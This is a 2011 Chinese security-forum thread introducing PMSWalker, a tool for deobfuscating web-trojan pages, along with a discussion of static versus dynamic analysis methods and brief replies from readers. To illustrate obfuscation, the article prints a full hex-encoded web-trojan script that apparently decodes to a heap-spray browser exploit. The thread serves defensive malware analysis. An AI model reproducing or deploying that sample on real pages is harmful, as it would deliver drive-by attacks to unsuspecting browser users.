是昔流芳 发表于 2011-8-8 12:02

自动化网马分析工具PMSWalker(并谈所谓“网马解密”)

From:http://bbs.kafan.cn/thread-1047141-1-1.html
Writer:promised



PMSWalker不带扫描器:
http://code.google.com/p/pmswalker/downloads/list
PMSWalker带扫描器(病毒库自行更新):
http://u.115.com/file/bh5joqvd
本人博客,各位大神帮顶:
http://hi.baidu.com/promised_lu


PMSWalker要下载符号文件,初次启动比较慢

注意某些网马Heap Spray太厉害请及时Abort终止其Heap Spray
对你系统中IE的安全性没有信心的话请在沙盘或虚拟机里运行PMSWalker

小更新了一下,因为IE6太古老,发布前没有测试,真是汗颜

使用扫描器请确保scan目录下没有名为temp的目录(最好等两个Load按钮都Enable了之后再结束程序)
scancl完整病毒库更新地址
http://dl.antivir.de/down/vdf/ivdf_fusebundle_nt_en.zip
增量更新
http://dl1.avgate.net/upd/vdf/antivir2.vdf.gz
http://dl1.avgate.net/upd/vdf/antivir3.vdf.gz

使用PMSWalker轻松处理难解的网马
http://bbs.kafan.cn/thread-1047306-1-1.html



是昔流芳 发表于 2011-8-8 12:04

    谈所谓“网马解密”
    首先我认为“网马解密”这个词不合适,本文一律改称“网马反混淆”。
    本文分为五部分:“网马混淆”与“反混淆”、“静态模拟”的反混淆方法、“动态钩挂”的反混淆方法、有关“网马解密”的文章、PMSWalker介绍。
    “网马混淆”问题:
    网马往往为了规避各种监测而进行“混淆”。我们看一个简单的例子:
<SCRIPT
LANGUAGE="JavaScript">function a(p){var
j,t;j="";for(i=1;i<=p.length;i++){if((i%2)==0){t="0x"+p.substr(i-2,2);t=t.toString(10)-8;j=j+String.fromCharCode(t);}}return
j;}window.document.write(a("446A7D7C7C777628716C452A7577762A2877766B74716B73452A7B6B74716B733031432A285B5C61544D452A4C515B58544961425657564D2A4644376A7D7C7C7776461512447B6B7A71787C287469766F7D696F6D452A52697E695B6B7A71787C2A286C6D6E6D7A4615126E7D766B7C717776286B7275307B318315127E697A287A7B7C7A347643151276452A2A4315126E777A2830714539437144457B36746D766F7C70284371333328311512831512716E28303071282D283C314545383115128315127A7B7C7A2845282A2D7D2A337B367B7D6A7B7C7A3071353A343A31337B367B7D6A7B7C7A3071353C343A31431512764528762833287A7B7C7A4315128515128515127A6D7C7D7A76287D766D7B6B69786D3076314315128515127E697A28747E2845286B7275302A41384138413841383D403D403D403D404D4A39383D4A3C4A3B3B4B413E3E4A414A40383B40383B3C384A4A4C4D3A4E494D4A383D4D404D4A4E4E4E4E4E4E3D3C493B4A4D4A4C4A4C4D3A4C41394B404C4A4C4A4C4A4C3B3E4E4C4A393B3E4B4C493939383B3E4C3D4A3D3B3E3C494C3F494B4D3C3D3D383B4A4E4A4C4A4C3A4C3D4E3C3D4C3D404D404E4A4C4A4C4C3D4D404B4D4C404B4E4D413B3E4E4A4A393D3D383B4A4B4A4C4A4C3B3E3D3D4C3F4A404D3C3D3D3A3B4A4E4A4C4A4C3D4E3C3C4C3D4C3A4C3B4A4C4A4C4C3D4B404B4E4C394C384D413C3A494A3B403F4C4B40494D4C3D4C3A4C3B4A4C4A4C4C3D4B404B4E4C394C384D413B3E4E4A4A393D3D3B3B4A4B4A4C4A4C3B3E3D3D4C3F4A4B4D3C3D3D4C3B4A4E4A4C4A4C3D4E3C3C4C3D4C39404D404E4A4C4C3D4B4D4C3D4C404C394D413B3E4E4A4A393D3D4C3A4A4B4A4C4A4C3B3E3D3D4C3F4A4B4D3C3D3D4E3A4A4E4A4C4A4C3D4E3C3C3B4B3D394A4C4A4B4A4C4A4C3B3E3E393B4B3F4D3B4C4A4C4A4C4A4C4C3F4A4C4C3F493F4D4D4C3F4A4C3C3A4D4A4D39404D3F4C4E4C3B4C40394A4D4A4C4B403C3C3F494A414A4D4D394C4D413B4C403F494E414A4D4A414B3D4C404A4C4A4C404D3F3C4D4B4D4B4D4D4D494D4B404D3F4C3B3E4E4A4D3D3D3D414E4A4B4A4C4A4C3B4D3C3D4A4C3D3C394D4A4C4A4C4A4C3A4C4C3F4A4C4C3F4A4C4C3F4A4D4C3F4A4C4C3F4A4E4C3D4A4C4A4C4A4C3F4C4D4D3B3E4E4A41413D3D4A4B4A4B4A4C4A4C3B3C4E4A4C4C4C3F4A4C4D4C3C3A4D4A413D3B3C4E4A4C413B3E4E4A4C4C4C3F4A4C4C3F4A4C4C3F4A4C4C3F4A414C3F4A4C4D4C3C3A4D4A41394C3F4A4C4C3F4A4C4C3F4A4C4C3D493A4A4C4A3A4A4C4D4C3C3A4D4A40393B3C4E4A4B3D3B3E4E3B4C413B4C4B394A3D3C3A38414B414A393B4C4B394A3D3C3A4A4C4B414A403B4C4B414A3D3C3A38413D4E3D3E3B3C3B4A3B4C4A4C4A4C4A4C3F494E4A4B4C4A4C4A4C4A4C4A4C3F494E4A4B414A4C4A4C4A4C4A4C4C3F4A4C4C3F4A4C4C3F4A4C3B3E4E4A4C4C4D4C3C3A4D4A403D3B3E3B4A3B4C4A4C4A4C4A4C4C3F4A4C3B384E3B4B414D4B3C3A4B4A4B4C4D4C3C3A4B4A4C4C3C3A4D4A404C3C3A4B4A4C4C3C3A4D4A40413C3A4B4A4B3D3C3A4D4A4E4C3B3E3C3E404D3F4C404D3E3E3B4B3D394A4C4A4E4A4C4A4C3B3E3F393B4D3C3D4D414B384A3D3B3C49394A4B3B4D3F4C4A413D3E3C4D3B3E3F393B3E3E3C3B4D3F4D494C404D3F4C4D4C4D4B4D4D4D4C4D4C4D4C4D4C4D4C4D4C4D494D4C4D4C3C3A4D4A4A3D3B3E4B3B4D413D3D494C4A4B4A4C4A4C3D3D4C404A4C4A4C4A4C4C3D4C4D4B4A4B494A4C4C3D4B4D4C3D4C414C3A4D413B3E4E4A4A393D3D41414A4C4A4C4A4C3B3C4E4A40394C41394B4A414A4C4A4C4A4C3B38394C4C4C3C3A3C3A3C3A4C3F4C403C3A4B4A40393B3E4E4A494C3D3D4A3D4A4C4A4C4A4C404D3E3E4D4D4D4D4D4D4D4D3C3A3E4C3B4C403D3D3D3B4C403D3D3C4B40494B3B4B4B3D4A403A4C3A4C3A4C3A4C4B414A3D3B3E3C3A4D403B3E3D393B384E4C4A403C3A3D4C3D3D394A4A4C4A4C4A4C3F4D3D3D394C4A4C4A4C4A4C383D494B4A4B4A413B4C3F4E4A394A4C3D3D3A4D4A4C4A4C4A4C3B4B3D394A4C4A4B4A4C4A4C3B3E3C393B4D3F494A413F494A49404E4B413A4B4A393F494E494A414C4D3B3C3E4B4E3A3F494E494A3D394C4C403A493F3E3F494E494A394D4B4E4C383F4B3A3F494E49494C403B4938384A403C3F494E494941383D4C3C3E41493E3F494E49493D383B4B3A4C4A394C3F494E4949393C39393C404939383F494E49414C3A3D4A3F494C3C3D4C41394B404C4A4C4A4C4A4C3B3E4E4C4A393B3E4B4C493939383B3E4C3D4A3D3B3E3C494C3F4A414D3C3D3D4D414A4C4A4C4A4C3A4C3D4E3C3D4C3D404D404E4A4C4A4C4C3D4D404B4D4C404B4E4D413B3E4A4A3D3D4D403C3A3C3A3C3A3B3E3D3D4C3F4A404D3C3D3D40404A4C4A4C4A4C3D4E3C3C404D3C3A4D493C3A4D4A4A413D3E4A4E4D3D3F4D3D3D3C3C3C3A3C3A3C3A4D3E3F4A4A49383D3B3C4D3A4A4B4C4A3F494E494A403C3A3D4C3F4D4D4D3B3E3E394D4D4C3F4E4C4C3D4A4C494C4A4C4A4C4D493B3E4E4A414C3D3D493D3C3A3C3A3C3A4D3D3F4D4D4B4D4A3B3E4B4040393B3E4B41413B4B3D4A4D3C404D4A3B3E4B4A414C4A4D3C40404D3F3C4E3C4E4B39384A4D3F40404D3E3E4A3A383B494C403F3E4A4B414A3D3F4B3F3E4A494A4D3E3F4E4C3D3E3C4B403E493A4B403D494D3B3B3E4D3B41414A4D3E384C4A3B3E4A394E3E3B3E4D3B49394A4D3E383B3E4A413B3E4A4D3F40393E4D3B4D3C3F4D3D3D3E383C393C3A3C3A384E3C4E3D4E3C41403C3D4E4B383B4D3E3F4E3D4B3E4038404E4B413A4B4A393B403E3A393A383E4C4D3B3C3E4B4E3A4D4B4E4C383F4B3A394C4C403A493F3E493B39414C413D3A3A4D404E3D413A413B3B494D4A3F39393F4E493C4E3E4A4B3F413B38493A4B414D494C4A4A383C3A4E4D383B39393E3E4B383C4C39403A3F4D4E3C3B39493E3F403B4938384A403C383D4C3C3E41493E383B4B3A4C4A394C3C39393C404939383A3D4A3F494C3C3D3B4C3E4A393A3A3F3C3E4D4D49406C6A4C3D4B414B414B4C403F413A413A4B494B494B49413B4B4E4C3A4C4E4C3A4B41404B404B4041413B4C4D4C3A4C38413A4C4D4C4B4C4A4C40413A4C3D4C404C394B4C413A4C4E4C3A4B3D413B4C404B3D4C404A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4A4C4D494D492A3115127E697A284B697A7A284528766D7F28497A7A698130314315127E697A28717C2845283880403E383838283528747E36746D766F7C70323A4315127E697A287F6E74696F2845282A2D7D386B386B2D7D386B386B2A4315127E697A28737B2845287D766D7B6B69786D307F6E74696F314315127F7071746D30737B36746D766F7C70284428717C373A3128737B283345737B4315127E697A2878284528737B367B7D6A7B7C7A71766F30383428717C373A314315126C6D746D7C6D28737B4315126E777A307145384371443A3F38437133333115128315124B697A7A63716528452878337833747E4315128515126E7D766B7C717776287B6B74716B73303115128315127E697A287B4A776C812845286C776B7D756D767C366B7A6D697C6D4D746D756D767C302A4A574C612A314315127B4A776C8136696C6C4A6D70697E71777A302A2B6C6D6E697D747C2B7D7B6D7A4C697C692A314315126C776B7D756D767C366978786D766C4B7071746C307B4A776C81314315127C7A8115128315126E777A28307145384371443938437133333115128315127B4A776C81367B6D7C497C7C7A716A7D7C6D302A7B2A347F71766C777F314315128515128515126B697C6B70306D311512838515127F71766C777F367B7C697C7D7B33452A2A4315128515126C776B7D756D767C366F6D7C4D746D756D767C4A81516C302A7577762A313677766B74716B73303143151244377B6B7A71787C461512"));window.location.reload();</SCRIPT> 经过混淆的网马都需要自解密,我们只需要关照eval、document.write等函数即可。这里我们可以使用最简单的方法,如替换eval为document.write再替换document.write为alert或重定向到一个<textarea></textarea>中。但聪明的网马作者可以采用各种手段令上述方法无效,如eval.toString()判断eval是否被篡改。当然我们可以用脚本调试器(Microsoft Script Editor、IE F12、Firebug等)等高级工具,但有时它们并不方便。
    “静态模拟”的反混淆方法:
    不少工具使用了“静态模拟”的反混淆方法,如MDecoder用正则表达式解析html、用v8引擎解析js,Malzilla用HTML Parser解析html、用SpiderMonkey引擎解析js(我以前的一个工具也是模仿的Malzilla),而Freshow等不带脚本引擎的工具已经显得无用。然而上述工具都没有实现DOM解析,Honeynet上有个叫做Phoneyc的项目实现了部分DOM解析并模拟了部分ActiveX插件,但实际效果很不理想。没有DOM解析就带来了很多问题,我们看一个例子:


<script>
function start()
{
var iframe = document.createElement('iframe');
iframe.setAttribute('src','http://www.baidu.com');
document.getElementById('mybody').appendChild(iframe);
}
</script>
<body onload = 'start();' id = 'mybody'>
</body>
上述工具都没有办法正确解析http://www.baidu.com这个跨站。因为进行DOM操作的js根本无法正确执行,因此处理国外几大Exploit Kit非常困难。但“静态模拟”也不是没有优点,至少它很安全。
    “动态钩挂”的反混淆方法:
    “静态模拟”完全实现DOM解析就等于实现一个浏览器,那工作量实在太大了。于是我们想到在浏览器上挂一些钩子实现“反混淆”,这种方法实用方便。
    有关“网马解密”的文章:
    两个国外的Paper http://cansecwest.com/csw07/csw07-nazario.pdf和http://www.toorcon.org/tcx/26_Chenette.pdf很好的介绍了网马反混淆。国内也有不少关于“网马解密”的文章,大多数都是教你使用工具,而这些工具只提供静态的固定的几种解密函数,直接忽略之。“网马解密参考手册”这篇文章写得不错,但其作者将网马按加密类型分类,这点很不可取。网马根本无法按加密类型分类,它可以低端到转义字符,高端到AES,毫无定式。那篇文章还把Ucs2ToHexToAsc称为shellcode加密,shellcode就是一段机器码何来“shellcode加密”之说。所谓shellcode加密应是shellcode经过混淆并在执行过程中自修改以规避检测的手段。而大多数工具只是用xor密钥枚举提取某些shellcode所要下载的url,实际上是投机取巧。聪明的shellcode作者不会采用单一的xor密钥加密,所以只有调试或模拟器模拟才是正确的shellcode解密方式。
    PMSWalker介绍:
    PMSWalker是使用“动态钩挂”方法分析网马的工具。PMSWalker的基本功能如下:
    Tree部分为frame与script树,Catch部分为钩挂到的敏感函数列表,Payload部分为自动提取的Payload列表。
Setting部分为一些配置,Block为是否阻止window.open等弹窗,Reset为下次分析时是否清空之前分析的内容,Scan为是否开启自动分析。
    Load部分Load From Moniker为分析Url框中的地址(可以是本地地址如“C:\1.htm”,也可以是远程地址,http、ftp等协议均支持),Load From Stream为分析Stream框中的内容(分析没有Load From Moniker准确)。
Decode部分为相关杂项:Stream为输入,Result为输出。Abort(无参)为中断分析,Alpha2(无参)不解释,Base64(无参)不解释,Convert(二参)编码转换默认为us-ascii解密,DecToAsc(一参,为前分割符)十进制转ascii,Encode(无参)JS/VBS.Encode解密,EmuXor(一参,为前分割符)Xor枚举,Filter(一参,为Url)为过滤PayLoad中相同的Url,匹配长度以参数的长度为准,Find(一参)正则表达式查找Stream中的内容,参考http://msdn.microsoft.com/en-us/library/1400241x(v=vs.85).aspx,HexToAsc(一参,为前分割符)十六进制转ascii,Insert(一参) 为插入PayLoad,Log(无参)提取日志,OctToAsc(一参,为前分割符)八进制转ascii,Replace(二参)正则表达式替换,Shellcode(二参,为前分割符和单步步数)为模拟器模拟Shellcode,Api为提取Api调用,Mem为提取执行后的内存内容,Split(二参,为相隔字符数和分割符)为分割,Ucs2ToHex(二参,均为前分割符)默认为%uXXXX转\xXX\xXX,Unescape(无参)不解释。注意Shellcode等功能只支持\xXX\xXX的形式,所以%uXXXX必须用Usc2ToHex再用Shellcode。
    自动分析说明:如果PMSWalker所在目录有scan子目录,且scan中为红伞的命令行扫描器(scancl.exe及库)PMSWalker会在自动分析时调用它进行扫描,扫描结果在日志中项下。
    安全声明:PMSWalker使用IE引擎动态分析网马,如果你的系统存在相应漏洞,本人不承担任何使用PMSWalker所产生的后果。

小黑同学 发表于 2011-8-8 12:24

LZ技术贴阿 先占位 以后绝对有用的说!

mldf58 发表于 2011-8-8 12:53

太好了,学习了,谢谢楼主

luoye14424 发表于 2011-8-8 13:57

好帖子,关于混淆网马的其实我之前碰见过很多,大概就跟楼主讲的差不多,只是现在网马都偏向于active控件形式的混淆而且是多元化的死灰复燃方式,已经趋向于木马了

a63622 发表于 2011-8-9 20:14

眼花缭乱!支持一下!

傲焰 发表于 2011-8-9 23:49

现在的木马防不胜防啊。。都不知道哪个安全软件好了

lyz_lrp 发表于 2012-3-14 17:07

看了下还行,有道理。细细,我也懂点。

ccn 发表于 2012-3-25 02:18

已经有些不能下载了哦!

james大神 发表于 2012-7-21 14:35

呵呵,挺好的贴,别沉了!!!!
页: [1] 2
查看完整版本: 自动化网马分析工具PMSWalker(并谈所谓“网马解密”)